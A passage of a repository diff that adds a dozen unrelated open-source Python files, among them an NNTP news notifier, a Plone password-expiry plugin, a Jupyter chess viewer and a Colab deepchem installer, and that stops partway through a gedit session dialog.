b/pool/shard008/Python/0076295_news.py @@ -0,0 +1,77 @@ +# -*- coding: utf-8 -*- +# pylint: disable-msg=W0232 +# pylint-version = 0.7.0 +# +# Copyright 2004-2005 André Malo or his licensors, as applicable +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +""" +Text based news notifier (via NNTP) +""" +__author__ = "André Malo" +__docformat__ = "restructuredtext en" +__all__ = ['getNotifier'] + + +def getNotifier(settings, groupset): + """ Returns an initialized notifier or nothing + + :Parameters: + - `settings`: The svnmailer settings + - `groupset`: The groupset to process + + :Types: + - `settings`: `svnmailer.settings._base.BaseSettings` + - `groupset`: `list` + + :return: The list of notifiers (containing 0 or 1 member) + :rtype: ``list`` + """ + from svnmailer.notifier import _textnews + + cls = None + if settings.general.nntp_host: + cls = NNTPSubmitter + + if cls: + return _textnews.getNotifier(cls, settings, groupset) + + return [] + + +class NNTPSubmitter(object): + """ Use NNTP to submit the notification as news article """ + _settings = None + + def sendNews(self, posting): + """ Sends the posting via nntp """ + import cStringIO, nntplib + + fp = cStringIO.StringIO() + try: + posting.dump(fp) + fp.seek(0) + + general = self._settings.general + host, port = (general.nntp_host, nntplib.NNTP_PORT) + if ':' in host and host.find(':') == host.rfind(':'): + host, port = host.split(':', 1) + + conn = nntplib.NNTP( + host = host, port = int(port), readermode = True, + user = general.nntp_user, password = general.nntp_pass, + ) + conn.post(fp) + conn.quit() + finally: + fp.close() diff --git a/pool/shard008/Python/0076296_relationshiptype.py b/pool/shard008/Python/0076296_relationshiptype.py new file mode 100644 index 0000000000000000000000000000000000000000..3419804f3bfb06c8894f97035a5a3b58f56ef84e --- /dev/null +++ b/pool/shard008/Python/0076296_relationshiptype.py @@ -0,0 +1,64 @@ +# Licensed under the Apache License, Version 2.0 (the "License"); you may +# not use this file except in compliance with the License. You may obtain +# a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT +# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the +# License for the specific language governing permissions and limitations +# under the License. + +from toscaparser.common.exception import ExceptionCollector +from toscaparser.common.exception import UnknownFieldError +from toscaparser.elements.statefulentitytype import StatefulEntityType + + +class RelationshipType(StatefulEntityType): + '''TOSCA built-in relationship type.''' + SECTIONS = (DERIVED_FROM, VALID_TARGET_TYPES, INTERFACES, + ATTRIBUTES, PROPERTIES, DESCRIPTION, VERSION, + CREDENTIAL) = ('derived_from', 'valid_target_types', + 'interfaces', 'attributes', 'properties', + 'description', 'version', 'credential') + + def __init__(self, type, capability_name=None, custom_def=None): + super(RelationshipType, self).__init__(type, self.RELATIONSHIP_PREFIX, + custom_def) + self.capability_name = capability_name + self.custom_def = custom_def + self._validate_keys() + + @property + def parent_type(self): + '''Return a relationship this reletionship is derived from.''' + prel = self.derived_from(self.defs) + if prel: + return RelationshipType(prel, custom_def=self.custom_def) + + @property + def interfaces(self): + interfaces = self.get_value(self.INTERFACES) + + if self.parent_type is not None: + if self.parent_type.interfaces is not None: + import copy + parent_interfaces = copy.deepcopy(self.parent_type.interfaces) + + if parent_interfaces: + if interfaces: + parent_interfaces.update(interfaces) + interfaces = parent_interfaces + return interfaces + + @property + def valid_target_types(self): + return self.entity_value(self.defs, 'valid_target_types') + + def _validate_keys(self): + for key in self.defs.keys(): + if key not in self.SECTIONS: + ExceptionCollector.appendException( + UnknownFieldError(what='Relationshiptype "%s"' % self.type, + field=key)) diff --git a/pool/shard008/Python/0076298_interface.py b/pool/shard008/Python/0076298_interface.py new file mode 100644 index 0000000000000000000000000000000000000000..a449dd0975358bb8d6f08afdfa11be035a5b7f98 --- /dev/null +++ b/pool/shard008/Python/0076298_interface.py @@ -0,0 +1,67 @@ +# -*- coding: utf-8 -*- +"""This file contains an interface for browser cookie plugins.""" + +import abc + +from plaso.lib import errors +from plaso.parsers import plugins + + +class BaseCookiePlugin(plugins.BasePlugin): + """A browser cookie plugin for Plaso. + + This is a generic cookie parsing interface that can handle parsing + cookies from all browsers. + """ + NAME = 'cookie_plugin' + DATA_FORMAT = 'Browser cookie data' + + # The name of the cookie value that this plugin is designed to parse. + # This value is used to evaluate whether the plugin is the correct one + # to parse the browser cookie. + COOKIE_NAME = '' + + def __init__(self): + """Initialize the browser cookie plugin.""" + super(BaseCookiePlugin, self).__init__() + self.cookie_data = '' + + @abc.abstractmethod + def GetEntries(self, parser_mediator, cookie_data=None, url=None, **kwargs): + """Extract and return EventObjects from the data structure. + + Args: + parser_mediator (ParserMediator): mediates interactions between parsers + and other components, such as storage and dfvfs. + cookie_data (Optional[bytes]): cookie data, as a byte sequence. + url (Optional[str]): URL or path where the cookie was set. + """ + + # pylint: disable=arguments-differ + def Process(self, parser_mediator, cookie_name, cookie_data, url, **kwargs): + """Determine if this is the right plugin for this cookie. + + Args: + parser_mediator (ParserMediator): mediates interactions between parsers + and other components, such as storage and dfvfs. + cookie_name (str): the name of the cookie value. + cookie_data (bytes): the cookie data, as a byte sequence. + url (str): the full URL or path where the cookie was set. + + Raises: + errors.WrongPlugin: If the cookie name differs from the one + supplied in COOKIE_NAME. + ValueError: If cookie_name or cookie_data are not set. + """ + if cookie_name is None or cookie_data is None: + raise ValueError('Cookie name or data are not set.') + + if cookie_name != self.COOKIE_NAME: + raise errors.WrongPlugin( + 'Not the correct cookie plugin for: {0:s} [{1:s}]'.format( + cookie_name, self.NAME)) + + # This will raise if unhandled keyword arguments are passed. + super(BaseCookiePlugin, self).Process(parser_mediator) + + self.GetEntries(parser_mediator, cookie_data=cookie_data, url=url) diff --git a/pool/shard008/Python/0076308_pwexpiry_plugin.py b/pool/shard008/Python/0076308_pwexpiry_plugin.py new file mode 100644 index 0000000000000000000000000000000000000000..e2c679bd2cf4dad6b21ca8d76f6c66d80c003d01 --- /dev/null +++ b/pool/shard008/Python/0076308_pwexpiry_plugin.py @@ -0,0 +1,155 @@ +# -*- coding: utf-8 -*- + +import time + +from AccessControl import AuthEncoding, ClassSecurityInfo, Unauthorized +from castle.cms.pwexpiry.config import _ +from castle.cms.pwexpiry.utils import days_since_event +from DateTime import DateTime +from Globals import InitializeClass +from plone import api +from Products.PageTemplates.PageTemplateFile import PageTemplateFile +from Products.PlonePAS.interfaces.plugins import IUserManagement +from Products.PluggableAuthService.interfaces.plugins import (IAuthenticationPlugin, + IChallengePlugin) +from Products.PluggableAuthService.plugins.BasePlugin import BasePlugin +from Products.statusmessages.interfaces import IStatusMessage +from zope.interface import implements + +manage_addPwExpiryPluginForm = PageTemplateFile( + 'www/addPwExpiryPlugin', + globals(), __name__='manage_addPwExpiryPlugin' +) + + +def addPwExpiryPlugin(self, id, title='', REQUEST=None): + """ + Add PwExpiry plugin + """ + o = PwExpiryPlugin(id, title) + self._setObject(o.getId(), o) + + if REQUEST is not None: + REQUEST['RESPONSE'].redirect( + '%s/manage_main' + '?manage_tabs_message=PwExpiry+Plugin+added.' % + self.absolute_url() + ) + + +class PwExpiryPlugin(BasePlugin): + """ + Password expiry plugin + """ + meta_type = 'Password Expiry Plugin' + security = ClassSecurityInfo() + implements(IAuthenticationPlugin, IChallengePlugin, IUserManagement) + + def __init__(self, id, title=None): + self._setId(id) + self.title = title + + # IAuthenticationPlugin implementation + security.declarePrivate('authenticateCredentials') + + def authenticateCredentials(self, credentials): + """ + Check if the user.password_date is older than validity_period. + If validity_period is 0, skip the check + """ + login = credentials.get('login') + if not login: + return None + + self._invalidatePrincipalCache(login) + user = api.user.get(username=login) + if not user: + return None + + pwexpiry_enabled = api.portal.get_registry_record('plone.pwexpiry_enabled', default=False) + validity_period = api.portal.get_registry_record('plone.pwexpiry_validity_period', default=0) + if validity_period == 0 or not pwexpiry_enabled: + return None + + # Ignore whitelisted + whitelisted = api.portal.get_registry_record( + 'plone.pwexpiry_whitelisted_users', + default=[] + ) + if whitelisted and user.getId() in whitelisted: + return None + + password_date = user.getProperty('password_date', '2000/01/01') + if str(password_date) != '2000/01/01': + current_time = DateTime() + since_last_pw_reset = days_since_event(password_date.asdatetime(), + current_time.asdatetime()) + # Password has expired + if validity_period - since_last_pw_reset < 0: + user.setMemberProperties({ + 'reset_password_required': True, + 'reset_password_time': time.time() + }) + self.REQUEST.RESPONSE.setHeader('user_expired', user.getId()) + raise Unauthorized + else: + user.setMemberProperties({ + 'password_date': current_time + }) + return None + + # IChallengePlugin implementation + security.declarePrivate('challenge') + def challenge(self, request, response, **kw): # noqa + """ + Challenge the user for credentials + """ + user_expired = response.getHeader('user_expired') + if user_expired: + portal_url = api.portal.get_tool(name='portal_url')() + IStatusMessage(request).add( + _(u'Your password has expired.'), type='error' + ) + response.redirect( + '%s/mail_password_form?userid=%s' % (portal_url, user_expired), + lock=1 + ) + return 1 + return 0 + + # IUserManagement implementation + security.declarePrivate('doChangeUser') + def doChangeUser(self, principal_id, password): # noqa + """ + Update user's password date and store passwords history. + """ + user = api.user.get(username=principal_id) + portal = api.portal.get() + current_time = portal.ZopeTime() + user.setMemberProperties({'password_date': current_time}) + self._invalidatePrincipalCache(principal_id) + + # Remember passwords here + max_history_pws = api.portal.get_registry_record( + 'plone.pwexpiry_password_history_size', + default=0 + ) + + if max_history_pws == 0: + # disabled, return here. + return + + enc_pw = password + if not AuthEncoding.is_encrypted(enc_pw): + enc_pw = AuthEncoding.pw_encrypt(enc_pw) + + pw_history = list(user.getProperty('password_history', [])) + pw_history.append(enc_pw) + if len(pw_history) > max_history_pws: + # Truncate the history + pw_history = pw_history[-max_history_pws:] + + user.setMemberProperties({'password_history': pw_history}) + + +InitializeClass(PwExpiryPlugin) diff --git a/pool/shard008/Python/0076309_dev_appserver_wrapper.py b/pool/shard008/Python/0076309_dev_appserver_wrapper.py new file mode 100644 index 0000000000000000000000000000000000000000..03aa4d5daa550f6d21a62538a5c9a06354104872 --- /dev/null +++ b/pool/shard008/Python/0076309_dev_appserver_wrapper.py @@ -0,0 +1,60 @@ +# -*- coding: utf-8 -*- + +u"""Wraps dev_appserver and replaces options with environment variables. + +* APPENGINE_DEV_APPSERVER_BASE + * dev_appserver.py to launch. The one in paths are used if not specified. +* DEV_APPSERVER_API_PORT + * API port to launch. +""" + +import argparse +import os +import os.path +import sys + + +def findDevAppserver(): + devAppserver = os.environ.get('APPENGINE_DEV_APPSERVER_BASE') + if devAppserver: + return devAppserver + + for dir in os.getenv("PATH").split(os.pathsep): + path = os.path.join(dir, 'dev_appserver.py') + if os.path.exists(path): + return path + return None + + +def buildArguments(): + # Parse arguments to replace. + parser = argparse.ArgumentParser() + + parser.add_argument( + '--api_port', + type=long, + dest='api_port', + default=0, + ) + + args, unknown = parser.parse_known_args() + + apiPort = os.environ.get('DEV_APPSERVER_API_PORT') + if apiPort and apiPort.isdigit(): + args.api_port = long(apiPort) + + return [ + '--api_port={0}'.format(args.api_port), + ] + unknown + +if __name__ == '__main__': + args = [ + sys.executable, + findDevAppserver(), + ] + buildArguments() + + os.execv( + sys.executable, + args, + ) + sys.exit(1) diff --git a/pool/shard008/Python/0076318_interactive.py b/pool/shard008/Python/0076318_interactive.py new file mode 100644 index 0000000000000000000000000000000000000000..edeef3df0dbc7d0a226eae151760af4004fdb77d --- /dev/null +++ b/pool/shard008/Python/0076318_interactive.py @@ -0,0 +1,190 @@ +# TODO: Fix typing in this file. +# mypy: ignore-errors + +import chess.svg + + +class WidgetError(Exception): + """ + raised when ipywidgets is not installed + """ + + +class NotJupyter(Exception): + """ + raised when InteractiveViewer is instantiated from a non jupyter shell + """ + + +try: + from ipywidgets import Button, GridBox, Layout, HTML, Output, HBox, Select + from IPython.display import display, clear_output +except ModuleNotFoundError: + raise WidgetError("You need to have ipywidgets installed and running from Jupyter") + + +class InteractiveViewer: + def __new__(cls, game): + jupyter = True + try: + if get_ipython().__class__.__name__ != "ZMQInteractiveShell": + jupyter = False + except NameError: + jupyter = False + + if not jupyter: + raise NotJupyter("The interactive viewer only runs in Jupyter shell") + + return object.__new__(cls) + + def __init__(self, game): + self.game = game + self.__board = game.board() + self.__moves = list(game.mainline_moves()) + self.__white_moves = [str(move) for (i, move) in enumerate(self.__moves) if i % 2 == 0] + self.__black_moves = [str(move) for (i, move) in enumerate(self.__moves) if i % 2 == 1] + self.__move_list_len = len(self.__white_moves) + self.__num_moves = len(self.__moves) + self.__next_move = 0 if self.__moves else None + self.__out = Output() + + def __next_click(self, _): + move = self.__moves[self.__next_move] + self.__next_move += 1 + self.__board.push(move) + self.show() + + def __prev_click(self, _): + self.__board.pop() + self.__next_move -= 1 + self.show() + + def __reset_click(self, _): + self.__board.reset() + self.__next_move = 0 + self.show() + + def __white_select_change(self, change): + new = change["new"] + if (isinstance(new, dict)) and ("index" in new): + target = new["index"] * 2 + self.__seek(target) + self.show() + + def __black_select_change(self, change): + new = change["new"] + if (isinstance(new, dict)) and ("index" in new): + target = new["index"] * 2 + 1 + self.__seek(target) + self.show() + + def __seek(self, target): + while self.__next_move <= target: + move = self.__moves[self.__next_move] + self.__next_move += 1 + self.__board.push(move) + + while self.__next_move > target + 1: + self.__board.pop() + self.__next_move -= 1 + + def show(self): + display(self.__out) + next_move = Button( + icon="step-forward", + layout=Layout(width="60px", grid_area="right"), + disabled=self.__next_move >= self.__num_moves, + ) + + prev_move = Button( + icon="step-backward", + layout=Layout(width="60px", grid_area="left"), + disabled=self.__next_move == 0, + ) + + reset = Button( + icon="stop", + layout=Layout(width="60px", grid_area="middle"), + disabled=self.__next_move == 0, + ) + + if self.__next_move == 0: + white_move = None + black_move = None + else: + white_move = ( + self.__white_moves[self.__next_move // 2] + if (self.__next_move % 2) == 1 + else None + ) + black_move = ( + self.__black_moves[self.__next_move // 2 - 1] + if (self.__next_move % 2) == 0 + else None + ) + + white_move_list = Select( + options=self.__white_moves, + value=white_move, + rows=max(self.__move_list_len, 24), + disabled=False, + layout=Layout(width="80px"), + ) + + black_move_list = Select( + options=self.__black_moves, + value=black_move, + rows=max(self.__move_list_len, 24), + disabled=False, + layout=Layout(width="80px"), + ) + + white_move_list.observe(self.__white_select_change) + black_move_list.observe(self.__black_select_change) + + move_number_width = 3 + len(str(self.__move_list_len)) * 10 + + move_number = Select( + options=range(1, self.__move_list_len + 1), + value=None, + disabled=True, + rows=max(self.__move_list_len, 24), + layout=Layout(width=f"{move_number_width}px"), + ) + + move_list = HBox( + [move_number, white_move_list, black_move_list], + layout=Layout(height="407px", grid_area="moves"), + ) + + next_move.on_click(self.__next_click) + prev_move.on_click(self.__prev_click) + reset.on_click(self.__reset_click) + + with self.__out: + grid_box = GridBox( + children=[next_move, prev_move, reset, self.svg, move_list], + layout=Layout( + width=f"{390+move_number_width+160}px", + grid_template_rows="90% 10%", + grid_template_areas=""" + "top top top top top moves" + ". left middle right . moves" + """, + ), + ) + clear_output(wait=True) + display(grid_box) + + @property + def svg(self) -> HTML: + svg = chess.svg.board( + board=self.__board, + size=390, + lastmove=self.__board.peek() if self.__board.move_stack else None, + check=self.__board.king(self.__board.turn) + if self.__board.is_check() + else None, + ) + svg_widget = HTML(value=svg, layout=Layout(grid_area="top")) + return svg_widget diff --git a/pool/shard008/Python/0076322_helpers.py b/pool/shard008/Python/0076322_helpers.py new file mode 100644 index 0000000000000000000000000000000000000000..0cce6271332307c4d4c1cc5a89688769611ad35e --- /dev/null +++ b/pool/shard008/Python/0076322_helpers.py @@ -0,0 +1,120 @@ +import traceback +from functools import wraps +from lazysusan.plugins import CommandPlugin + + +def admin_required(function): + """A command decorator that requires an admin to run. + + Admin users are listed in lazysusan.ini under admin_ids, one per line. + + If the sending user is not an admin, a private message will be returned to + them indicated such.""" + @wraps(function) + def wrapper(cls, *args, **kwargs): + if isinstance(cls, CommandPlugin): + bot = cls.bot + else: # Support the built-in commands + bot = cls + + user_id = get_sender_id(args[1]) + # Verify the user is a moderator + if user_id not in bot.config['admin_ids']: + message = 'You must be an admin to execute that command.' + return bot.api.pm(message, user_id) + return function(cls, *args, **kwargs) + wrapper.func_dict['admin_required'] = True + return wrapper + + +def admin_or_moderator_required(function): + """A command decorator that requires either an admin or a moderator to run. + + If the sending user is neither an admin, nor a moderator, a private message + will be returned to them indicating such. + """ + @wraps(function) + def wrapper(cls, *args, **kwargs): + if isinstance(cls, CommandPlugin): + bot = cls.bot + else: # Support the built-in commands + bot = cls + + user_id = get_sender_id(args[1]) + # Verify the user is a moderator + if user_id not in bot.moderator_ids \ + and user_id not in bot.config['admin_ids']: + message = ('You must be either an admin or a moderator to execute ' + 'that command.') + return bot.api.pm(message, user_id) + return function(cls, *args, **kwargs) + wrapper.func_dict['admin_or_moderator_required'] = True + return wrapper + + +def display_exceptions(function): + """Expand the arguments to the functions.""" + @wraps(function) + def wrapper(*args, **kwargs): + try: + return function(*args, **kwargs) + except: + traceback.print_exc() + return wrapper + + +def get_sender_id(data): + if data['command'] == 'speak': + return data['userid'] + elif data['command'] == 'pmmed': + return data['senderid'] + else: + raise Exception('Unrecognized command type `{0}`' + .format(data['command'])) + + +def moderator_required(function): + """A command decorator that requires a moderator to run. + + This decorator should only be used on commands that explicitly require the + bot to have moderator privileges. Use the `admin_or_moderator` decorator if + you just want to control access to a specific command. + + If the sending user is not a moderator, a private message will be returned + to them indicating such. + """ + @wraps(function) + def wrapper(cls, *args, **kwargs): + if isinstance(cls, CommandPlugin): + bot = cls.bot + else: # Support the built-in commands + bot = cls + + user_id = get_sender_id(args[1]) + # Verify the user is a moderator + if user_id not in bot.moderator_ids: + message = 'You must be a moderator to execute that command.' + return bot.api.pm(message, user_id) + return function(cls, *args, **kwargs) + wrapper.func_dict['moderator_required'] = True + return wrapper + + +def no_arg_command(function): + """Indicate that the command does not have a message.""" + @wraps(function) + def wrapper(cls, *args, **kwargs): + if args[0]: + return + return function(cls, *args[1:], **kwargs) + return wrapper + + +def single_arg_command(function): + """Indicate that the command takes a message with a single argument.""" + @wraps(function) + def wrapper(cls, *args, **kwargs): + if not args[0] or ' ' in args[0]: # Input will only contain spaces + return + return function(cls, *args, **kwargs) + return wrapper diff --git a/pool/shard008/Python/0076324_cluster.py b/pool/shard008/Python/0076324_cluster.py new file mode 100644 index 0000000000000000000000000000000000000000..efbc120908925473eb63059b8905c4c1a2bbadf6 --- /dev/null +++ b/pool/shard008/Python/0076324_cluster.py @@ -0,0 +1,82 @@ +from jarr.bootstrap import Base +from jarr.lib.enums import ReadReason +from jarr.lib.utils import utc_now +from jarr.models.article import Article +from jarr.models.utc_datetime_type import UTCDateTime +from sqlalchemy import (Boolean, Column, Enum, ForeignKey, + ForeignKeyConstraint, Index, Integer, PickleType, + String) +from sqlalchemy.orm import RelationshipProperty, relationship + + +class Cluster(Base): # type: ignore + "Represent a cluster of articles from one or several feeds" + __tablename__ = 'cluster' + + id = Column(Integer, primary_key=True) + cluster_type = Column(String) + read = Column(Boolean, default=False) + liked = Column(Boolean, default=False) + created_date = Column(UTCDateTime, default=utc_now) + content = Column(PickleType, default={}) + + # denorm + main_date = Column(UTCDateTime, default=utc_now) + main_feed_title = Column(String) + main_title = Column(String) + main_link = Column(String, default=None) + + # reasons + read_reason = Column(Enum(ReadReason), default=None) + + # foreign keys + user_id = Column(Integer, nullable=False) + main_article_id = Column( + Integer, + ForeignKey('article.id', name='fk_article_id', use_alter=True)) + + # relationships + user: RelationshipProperty = relationship( + 'User', back_populates='clusters') + main_article: RelationshipProperty = relationship( + Article, uselist=False, foreign_keys=main_article_id) + articles: RelationshipProperty = relationship( + Article, back_populates='cluster', foreign_keys=[Article.cluster_id], + order_by=Article.date.asc()) + feeds: RelationshipProperty = relationship( + 'Feed', back_populates='clusters', secondary='article', + foreign_keys=[Article.feed_id, Article.cluster_id], + overlaps="articles,clusters,cluster,feed") + categories: RelationshipProperty = relationship( + 'Category', back_populates='clusters', secondary='article', + foreign_keys=[Article.cluster_id, Article.category_id], + overlaps="articles,category,cluster,clusters,feeds") + + __table_args__ = ( + ForeignKeyConstraint([user_id], ['user.id'], ondelete='CASCADE'), + Index('ix_cluster_uid_date', + user_id, main_date.desc().nullslast()), + Index('ix_cluster_liked_uid', liked, user_id), + Index('ix_cluster_read_uid', read, user_id), + # used by cluster deletion in FeedController.delete + Index('ix_cluster_uid_martid', + user_id, main_article_id.nullsfirst()), + # triggered by article.ondelete + Index('ix_cluster_martid', main_article_id.nullslast()), + ) + + @property + def categories_id(self): + return {category.id for category in self.categories} + + @property + def feeds_id(self): + return {feed.id for feed in self.feeds} + + @property + def icons_url(self): + return {feed.icon_url for feed in self.feeds} + + def __repr__(self): + return (f"") diff --git a/pool/shard008/Python/0076334_colab_install.py b/pool/shard008/Python/0076334_colab_install.py new file mode 100644 index 0000000000000000000000000000000000000000..4943d2277e81d67d6a9171d3147d6796d140156d --- /dev/null +++ b/pool/shard008/Python/0076334_colab_install.py @@ -0,0 +1,132 @@ +""" +Original code by @philopon +https://gist.github.com/philopon/a75a33919d9ae41dbed5bc6a39f5ede2 +""" + +import sys +import os +import requests +import subprocess +import shutil +from logging import getLogger, StreamHandler, INFO + +logger = getLogger(__name__) +logger.addHandler(StreamHandler()) +logger.setLevel(INFO) + +default_channels = [ + "-c", + "rdkit", + "-c", + "conda-forge", +] +default_packages = [ + "rdkit", +] + + +def install( + chunk_size=4096, + file_name="Miniconda3-latest-Linux-x86_64.sh", + url_base="https://repo.continuum.io/miniconda/", + conda_path=os.path.expanduser(os.path.join("~", "miniconda")), + add_python_path=True, + version=None, + # default channels are "conda-forge" and "rdkit" + additional_channels=[], + # default packages are "rdkit" and "deepchem" + additional_packages=[], + # whether to clean install or not + force=False): + """install deepchem on Google Colab + + For GPU/CPU notebook + (if you don't set the version, this script will install the latest package) + ``` + import deepchem_installer + deepchem_installer.install(version='2.4.0') + ``` + + If you want to add soft dependent packages, you can use additional_conda_channels and + additional_conda_package arguments. Please see the example. + ``` + import deepchem_installer + deepchem_installer.install( + version='2.4.0', + additional_conda_channels=[] + additional_conda_packages=["mdtraj", "networkx"] + ) + + // add channel + import deepchem_installer + deepchem_installer.install( + version='2.4.0', + additional_conda_channels=["-c", "omnia"] + additional_conda_packages=["openmm"] + ) + ``` + """ + + python_path = os.path.join( + conda_path, + "lib", + "python{0}.{1}".format(*sys.version_info), + "site-packages", + ) + + if add_python_path and python_path not in sys.path: + logger.info("add {} to PYTHONPATH".format(python_path)) + sys.path.append(python_path) + + if os.path.isdir(os.path.join(python_path, "deepchem")): + logger.info("deepchem is already installed") + if not force: + return + + logger.info("force re-install") + + url = url_base + file_name + python_version = "{0}.{1}.{2}".format(*sys.version_info) + + logger.info("python version: {}".format(python_version)) + + if os.path.isdir(conda_path): + logger.warning("remove current miniconda") + shutil.rmtree(conda_path) + elif os.path.isfile(conda_path): + logger.warning("remove {}".format(conda_path)) + os.remove(conda_path) + + logger.info('fetching installer from {}'.format(url)) + res = requests.get(url, stream=True) + res.raise_for_status() + with open(file_name, 'wb') as f: + for chunk in res.iter_content(chunk_size): + f.write(chunk) + logger.info('done') + + logger.info('installing miniconda to {}'.format(conda_path)) + subprocess.check_call(["bash", file_name, "-b", "-p", conda_path]) + logger.info('done') + + logger.info("installing deepchem") + deepchem = "deepchem" if version is None else "deepchem=={}".format(version) + subprocess.check_call([ + os.path.join(conda_path, "bin", "conda"), + "install", + "--yes", + *default_channels, + *additional_channels, + "python=={}".format(python_version), + *default_packages, + *additional_packages, + deepchem, + ]) + logger.info("done") + + import deepchem + logger.info("deepchem-{} installation finished!".format(deepchem.__version__)) + + +if __name__ == "__main__": + install() diff --git a/pool/shard008/Python/0076338_test_nicolet.py b/pool/shard008/Python/0076338_test_nicolet.py new file mode 100644 index 0000000000000000000000000000000000000000..3342c2b51ef9fa452e1de194a0db3bb7909e007c --- /dev/null +++ b/pool/shard008/Python/0076338_test_nicolet.py @@ -0,0 +1,43 @@ + +# Author: Jaakko Leppakangas +# +# License: BSD (3-clause) + +import os.path as op +import inspect +from numpy.testing import assert_array_almost_equal, assert_array_equal + +from mne import concatenate_raws +from mne.io import read_raw_nicolet, Raw +from mne.utils import _TempDir + +FILE = inspect.getfile(inspect.currentframe()) +base_dir = op.join(op.dirname(op.abspath(FILE)), 'data') +fname = op.join(base_dir, 'test_nicolet_raw.data') + + +def test_data(): + """Test reading raw nicolet files.""" + tempdir = _TempDir() + raw = read_raw_nicolet(fname, preload=False) + raw_preload = read_raw_nicolet(fname, preload=True) + picks = [2, 3, 12, 13] + assert_array_equal(raw[picks, 20:30][0], raw_preload[picks, 20:30][0]) + + # Make sure concatenation works + raw2 = concatenate_raws([raw_preload.copy(), raw_preload]) + + # Test saving and reading + out_fname = op.join(tempdir, 'test_nicolet_raw.fif') + raw2.save(out_fname, tmax=raw.times[-1]) + raw2 = Raw(out_fname) + + full_data = raw_preload._data + data1, times1 = raw[:10:3, 10:12] + data2, times2 = raw2[:10:3, 10:12] + data3, times3 = raw2[[0, 3, 6, 9], 10:12] + assert_array_almost_equal(data1, full_data[:10:3, 10:12], 9) + assert_array_almost_equal(data1, data2, 9) + assert_array_almost_equal(data1, data3, 9) + assert_array_almost_equal(times1, times2) + assert_array_almost_equal(times1, times3) diff --git a/pool/shard008/Python/0076339_run_bpy.py b/pool/shard008/Python/0076339_run_bpy.py new file mode 100644 index 0000000000000000000000000000000000000000..dd5b4b5f2d0d5edff087ba560c7472f6ba9ac154 --- /dev/null +++ b/pool/shard008/Python/0076339_run_bpy.py @@ -0,0 +1,45 @@ +import sys +import os +import bpy + +# these vals are duplicates, as at this point the pps file may not be accessible +bpy_script_path = 'ematoblender.scripts.ema_blender.ema_bpy.bpy_emareadin' +bge_script_path = 'ematoblender.scripts.ema_blender.ema_bge.bge_emareadin' + +def check_script_access(): + fail=False + currblendpath = bpy.path.abspath("//") + # is the .blend file saved + if not bpy.data.is_saved: + print('The current .blend file must be saved before you can add links to the game script.') + fail = True + # note: if still necessary can use bpy.ops.wm.save_as_mainfile() to save the blend in a ancestor directory + # see http://www.blender.org/api/blender_python_api_2_74_5/bpy.ops.wm.html?highlight=wm#module-bpy.ops.wm + raise FileNotFoundError + + # add the blend file's directory to the path + blend_dir = os.path.dirname(bpy.data.filepath) + if blend_dir not in sys.path: + sys.path.append(blend_dir) + + # can .blend access ema_bpy.bpy_emareadin? + elif bge_script_path not in [x[0] for x in bpy.path.module_names(currblendpath, recursive=True)]: + fail = True + print('Warning - the game script is not accessible from the file location') + raise ImportWarning + + # can .blend access ema_bge.bge_emareadin? + elif bpy_script_path not in [x[0] for x in bpy.path.module_names(currblendpath, recursive=True)]: + fail = True + print('Warning - the bpy script you are about to try to build from is inaccessible from the .blend file location.') + return fail + + +print('FAILED MODULE TEST:',check_script_access()) + +import ematoblender.scripts.ema_blender.bpy_emareadin as be +import importlib as imp +imp.reload(be) +be.main() + +print('SCENE CONSTRUCTION COMPLETE') \ No newline at end of file diff --git a/pool/shard008/Python/0076344_dialogs.py b/pool/shard008/Python/0076344_dialogs.py new file mode 100644 index 0000000000000000000000000000000000000000..a2a8b7aa5a5f05c8a6757b0f761e710e10b70221 --- /dev/null +++ b/pool/shard008/Python/0076344_dialogs.py @@ -0,0 +1,197 @@ +# -*- coding: utf-8 -*- +# Copyright (c) 2007 - Steve Frécinaux +# Copyright (c) 2010 - Kenny Meyer +# Licence: GPL2 or later + +from gi.repository import GObject, Gtk, Gedit +import os.path +from gpdefs import GETTEXT_PACKAGE +from .store.session import Session + + +try: + import gettext + gettext.bindtextdomain('gedit-plugins') + gettext.textdomain('gedit-plugins') + _ = gettext.gettext +except: + _ = lambda s: s + +class SessionModel(Gtk.ListStore): + OBJECT_COLUMN = 0 + NAME_COLUMN = 1 + N_COLUMNS = 2 + + def __init__(self, store): + super(SessionModel, self).__init__(GObject.TYPE_PYOBJECT, str) + self.store = store + for session in store: + row = { self.OBJECT_COLUMN : session, + self.NAME_COLUMN: session.name } + self.append(row.values()) + self.store.connect_after('session-added', self.on_session_added) + self.store.connect('session-removed', self.on_session_removed) + + def on_session_added(self, store, session): + row = { self.OBJECT_COLUMN : session, + self.NAME_COLUMN: session.name } + self.append(row.values()) + + def on_session_removed(self, store, session): + it = self.get_iter_first() + if it is not None: + while True: + stored_session = self.get_value(it, self.OBJECT_COLUMN) + if stored_session == session: + self.remove(it) + break + it = self.iter_next(it) + if not it: + break + +class Dialog(object): + UI_FILE = "sessionsaver.ui" + + def __init__(self, main_widget, datadir, parent_window = None): + super(Dialog, self).__init__() + + if parent_window is None: + parent_window = Gedit.App.get_default().get_active_window() + self.parent = parent_window + + self.ui = Gtk.Builder() + self.ui.set_translation_domain(GETTEXT_PACKAGE) + + self.ui.add_from_file(os.path.join(datadir, 'ui', self.UI_FILE)) + self.dialog = self.ui.get_object(main_widget) + self.dialog.connect('delete-event', self.on_delete_event) + + def __getitem__(self, item): + return self.ui.get_object(item) + + def on_delete_event(self, dialog, event): + dialog.hide() + return True + + def __del__(self): + self.__class__._instance = None + + def run(self): + self.dialog.set_transient_for(self.parent) + self.dialog.show() + + def destroy(self): + self.dialog.destroy() + self.__del__() + +class SaveSessionDialog(Dialog): + def __init__(self, window, sessions, current_session, on_updated_sessions, data_dir): + super(SaveSessionDialog, self).__init__('save-session-dialog', + data_dir, + window) + + self.NAME_COLUMN = 1 + self.on_updated_sessions = on_updated_sessions + self.sessions = sessions + + model = SessionModel(sessions) + + self.combobox = self['session-name'] + self.combobox.set_model(model) + self.combobox.set_entry_text_column(self.NAME_COLUMN) + 